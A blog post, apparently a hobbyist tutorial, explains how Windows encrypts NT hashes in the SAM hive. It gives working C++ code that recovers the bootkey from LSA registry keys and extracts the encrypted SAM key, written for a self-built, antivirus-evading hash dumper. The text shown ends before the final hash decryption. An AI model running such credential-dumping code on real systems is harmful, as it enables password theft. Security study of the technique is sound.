SamEncryption
NT hash encryption for modern windows
Intro
For the last couple of weeks i’ve been playing a lot with windows security. Specifically trying to create my own kind of meterpreter kind of reverse shell. One of the things i wanted to implement was a feature like mimikatz’s lsadump::sam or meterpreters “hashdump”.
I didn’t want to use either of those because they can be easily caught by antivirus so i thought “Why dont i just make it myself”
I quickly stumbled into the problem of resources. It was quite hard to find resources on this subject because most articles just said “use mimikatz, meterpreter, impacket” etc…
The only article i found was this one:
(http://moyix.blogspot.com/2008/02/syskey-and-sam.html)
It was still majorly useful but i quickly realized that the algorithms it used was outdated.
Therefore i started reversing the source code of how other people did it. Specifically creddump7 has been majorly useful. Creddump is a program written in python that can dump the hashes from a locally saved SAM hive and SYSTEM hive. It was super useful because it was really easy to read and understand so i have basically based all my research and my code around that.
I’m hoping this post will serve as a guide to the encryption so you won’t have to read through source code to understand it :p
Btw i suck at crypto stuff so i don’t know on how any of the encryption algorithms used here works or what the parameters mean.
Overview of the encryption
NT hashes are stored in the SAM hive in the registry. Specifically in this path:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users
Under the user subkey are all the users on a system. The users are resembled by an RID that is represented by a hash value. For example the path to the administrator account on my machine looks like:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4
The nt hashes are first encrypted with a user specific key using the DES_ECB algorithm. This then gets encrypted with AES_CBC with the systems hashed bootkey as the key and as the IV value it uses the NT salt which is stored in the users registry key
The systems hashed bootkey
One of the first things you need to recover from the system is the hashed bootkey. The encrypted hashed bootkey can be recovered from this key:
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account
This is decrypted using the bootkey of the system with AES_CBC. The bootkey is first scrambled and the split up into 4 different registry keys which are:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\JD
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Skew1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\GBG
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\Data
So to summarize
The scrambled bootkey is stored in 4 different registry keys
The bootkey is used to decrypt the hashed bootkey (this is what mimikatz calls the “samkey”)
The hashed bootkey is used to decrypt the encrypted nt hashes from the users registry key
Finally the encrypted hashes are decrypte via a user specific key
Getting the bootkey
The first step is to recover the systems bootkey. This key is split up into 4 different keys and the bootkey data is in the keys class
This code snippet from my custom hashdumper gets the class data from the 4 different registry keys and stores it in the buffer scrambledKey
HKEY JDkey, Skew1key, GBGkey, Datakey;
TCHAR JDclass[512];
TCHAR Skew1class[512];
TCHAR GBGclass[512];
TCHAR Dataclass[512];
char scrambledKey[33];
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\LSA\\JD", 0, KEY_READ, &JDkey);
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\LSA\\Skew1", 0, KEY_READ, &Skew1key);
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\LSA\\GBG", 0, KEY_READ, &GBGkey);
RegOpenKeyExA(HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Control\\Lsa\\Data", 0, KEY_READ, &Datakey);
DWORD size = 512;
RegQueryInfoKeyW(JDkey, JDclass, &size, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL,NULL);
size = 512;
RegQueryInfoKeyW(Skew1key, Skew1class, &size, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
size = 512;
RegQueryInfoKeyW(GBGkey, GBGclass, &size, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
size = 512;
RegQueryInfoKeyW(Datakey, Dataclass, &size, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL);
size = 512;
//add different keys to one key
for (i=0; i < 8; i++) {
scrambledKey[i] = (char)JDclass[i];
}
for (i = 0; i < 8; i++) {
scrambledKey[i+8] = (char)Skew1class[i];
}
for (i = 0; i < 8; i++) {
scrambledKey[i+16] = (char)GBGclass[i];
}
for (i = 0; i < 8; i++) {
scrambledKey[i+24] = (char)Dataclass[i];
}
To unscrable we first convert the 32 byte hex string to a 16 byte char buffer.
hex2bin(scrambledKey, hexValueScramble);
Where hex2bin is a function i stole from stackoverflow.
Then we need to unscramble the bootkey. The scrambling process works that there is an array of indexes that looks like this:
char deScrambleKey[16] = { 0x8, 0x5, 0x4, 0x2,
0xb, 0x9, 0xd, 0x3,
0x0, 0x6, 0x1, 0xc,
0xe, 0xa, 0xf, 0x7 };
Where each index corresponds to where the value of our bootkey need to swap with So for example index 1 of our bootkey need to be at index 0x8 in our descrambled bootkey. Index 2 at index 0x5, Index 3 at index 0x4 etc… So our descrambling algorithm looks like:
for (i = 0; i < 16; i++) {
key[i] = hexValueScramble[deScrambleKey[i]];
}
Getting the hashed bootkey
The next step is getting the hashed bootkey of the system. This is used to decrypt the encrypted hashes.
The encrypted hashed bootkey is stored in this registry key under the value “F”:
SAM\SAM\Domains\Account
It is decrypted using AES with the key being our bootkey we recovered in the last chapter. The IV value is stored in the same value of the registry key
The encrypted key is stored at offsets 0x88 to 0xA8 and the IV value is stored at offset 0x78 to 0x88
This code will first read the F value of the key “SAM\SAM\Domains\Account” and then store all the bytes into “valueData[512]”. It then reads the offsets mentioned before into encryptedKey[32] and IV[16]
LPCTSTR keyName = L"SAM\\SAM\\Domains\\Account";
LPCTSTR valueName = L"F";
HKEY accountsKey;
unsigned char valueData[512];
DWORD dataSize = 512;
unsigned char decryptedKey[32];
unsigned char IV[16];
unsigned char encryptedKey[32];
int iResult = RegOpenKeyEx(HKEY_LOCAL_MACHINE, keyName, 0, KEY_READ, &accountsKey);
if (iResult != ERROR_SUCCESS) {
std::cout << "Error while opening Sam key" << std::endl;
}
RegQueryValueEx(accountsKey, valueName, NULL, NULL, (LPBYTE)valueData, &dataSize);
//Extract the encryptedKey from F
for (int i = 0x88; i < 0xA8; i++) {
encryptedKey[i-0x88] = *(valueData + i);
}
//Extract IV value from F
for (int i = 0x78; i < 0x88; i++) {
IV[i-0x78] = *(valueData + i);
}
Then its just using your favorite AES library with the values:
Key = bootkey
Ciphertext = encryptedBootkey extracted from F
IV = IV extracted from F